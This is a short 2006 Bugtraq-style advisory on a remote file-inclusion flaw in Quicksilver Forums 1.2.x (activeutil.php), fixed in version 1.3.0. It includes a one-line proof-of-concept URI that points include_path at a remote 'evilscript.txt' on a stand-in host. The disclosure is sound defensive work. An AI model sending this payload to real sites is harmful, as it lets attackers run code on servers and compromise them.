Quicksilver Forums Activeutil.PHP Remote File Include Vulnerability

Bugtraq ID:	19991
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 13 2006 12:00AM
Updated:	Sep 21 2006 12:41AM
Credit:	mdx is credited with the discovery of this vulnerability.
Vulnerable:	Quicksilver Forums Quicksilver Forums 1.2.1 Quicksilver Forums Quicksilver Forums 1.2
Not Vulnerable:	Quicksilver Forums Quicksilver Forums 1.3

Quicksilver Forums Activeutil.PHP Remote File Include Vulnerability

Quicksilver Forums is prone to a remote file-inclusion vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Versions 1.2.0 and 1.2.1 are vulnerable; other versions may also be affected.

Quicksilver Forums Activeutil.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/[path]/lib/activeutil.php?set[include_path]=http://www.example.com/evilscript.txt?

mdx

Quicksilver Forums Activeutil.PHP Remote File Include Vulnerability

Solution:
The vendor has released version 1.3.0 to address this issue. Please see the references for more information.

Quicksilver Forums Activeutil.PHP Remote File Include Vulnerability

References:

• Quicksilver Forums Home Page (Quicksilver Forums)
  
• quicksilverforums-1.3.0.zip (Quicksilver Forums)